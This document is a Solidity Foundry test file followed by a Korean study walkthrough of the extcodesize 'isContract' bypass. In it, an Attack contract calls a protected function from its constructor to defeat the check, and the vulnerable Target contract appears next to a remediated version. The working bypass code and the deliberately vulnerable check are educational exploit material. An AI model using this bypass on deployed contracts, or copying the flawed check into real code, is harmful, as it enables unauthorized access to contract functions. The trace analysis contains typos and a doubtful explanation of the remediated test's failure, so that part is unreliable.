// SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "forge-std/Test.sol";
contract ContractTest is Test {
Target TargetContract;
FailedAttack FailedAttackContract;
Attack AttackerContract;
TargetRemediated TargetRemediatedContract;
constructor() {
TargetContract = new Target();
FailedAttackContract = new FailedAttack();
TargetRemediatedContract = new TargetRemediated();
}
function testBypassFailedContractCheck() public {
console.log("Before exploiting, protected status of TargetContract:",TargetContract.pwned());
console.log("Exploit Failed");
FailedAttackContract.pwn(address(TargetContract));
}
function testBypassContractCheck() public {
console.log("Before exploiting, protected status of TargetContract:",TargetContract.pwned());
AttackerContract = new Attack(address(TargetContract));
console.log("After exploiting, protected status of TargetContract:",TargetContract.pwned());
console.log("Exploit completed");
}
function testTargetRemediatedContract() public {
console.log("Before exploiting, protected status of TargetContract:",TargetRemediatedContract.pwned());
AttackerContract = new Attack(address(TargetRemediatedContract));
console.log("After exploiting, protected status of TargetContract:",TargetRemediatedContract.pwned());
console.log("Exploit completed");
}
receive() payable external{}
}
contract Target {
function isContract(address account) public view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
bool public pwned = false;
function protected() external {
require(!isContract(msg.sender), "no contract allowed");
pwned = true;
}
}
contract FailedAttack {
// Attempting to call Target.protected will fail,
// Target block calls from contract
function pwn(address _target) external {
// This will fail
Target(_target).protected();
}
}
contract Attack {
bool public isContract;
address public addr;
// When contract is being created, code size (extcodesize) is 0.
// This will bypass the isContract() check
constructor(address _target) {
isContract = Target(_target).isContract(address(this));
addr = address(this);
// This will work
Target(_target).protected();
}
}
contract TargetRemediated {
function isContract(address account) public view returns (bool) {
require(tx.origin == msg.sender);
return account.code.length > 0;
}
bool public pwned = false;
function protected() external {
require(!isContract(msg.sender), "no contract allowed");
pwned = true;
}
}
코드 test 결과이다.
protedcted status에 대해 하나는 성공했고 2개는 실패가 떴다.
Trace를 분석해 보자.
Trace는 총 3개이다.
첫 번째는 Target.pwned()가 false였다가 protected()를 거치고 Target.pwned()가 true가 된다.
두 번째는 Target.pwned()가 false였다가 pretected()를 거치고 Target.pwned()가 그대로 false가 된다.
세 번째는 TragetPemediated.pwned()가 false였다가 revert()가 뜬다.
한번 코드랑 같이 살펴보자.
testBypassContractCheck() 함수의 대략적인 코드의 흐름을 나타내보았다.
일단 먼저 Attack(address(TargetContract))가 실행이 되면 Attack 컨트랙트의 constructor가 실행이 된다.
그러면 Target(_target).isContract(address(this))가 실행이 되면서 Target컨트랙트로 간다.
Target 컨트랙트의 assembly는 size에 extcodesize(account)를 넣는 것이다. extcodesize(account)를 확인한 결과 0으로 나온다. 그러면 Target(_target).protected()의 결과가 참이 되어서 pwned가 true가 된다.
testBypassFaileContractCheck() 함수의 대략적인 코드의 흐름을 나타내보았다.
FailedAttackContract.pwn(address(TargetContract))에서 pwn을 실행한다. 그럼 Target(_target).protected()에서 size = extcodesize(account)를 실행시킨다. 그런데 FailedAttack의 extcodesize는 246이라 error가 뜬다 그래서 "no contract allowed"라는 string이 나온다.
testTargetRemediatedContract() 함수의 대략적인 코드의 흐름을 나타내보았다.
여기서는 TargetRemediatedContract() 함수가 Unknown으로 찾을 수 없다고 나온다. 그래서 에러가 뜬다.
결론은 extcodesize에 관한 이야기이다. extcodesize()는 컨트랙트를 초기화한 후 runtime opcode의 size를 저장한다.
runtime opcode 같은 경우는 Initialization opcode가 끝난 다음 실행이 되며 여기 안에는 constructor()가 실행이 된다.
그래서 constㅁructor() 안에 실행되는 함수가 있더라도 extcodesize()는 0이 나와서 우회를 할 수가 있다.
constructor(address _target) {
isContract = Target(_target).isContract(address(this));
addr = address(this);
// This will work
Target(_target).protected();
}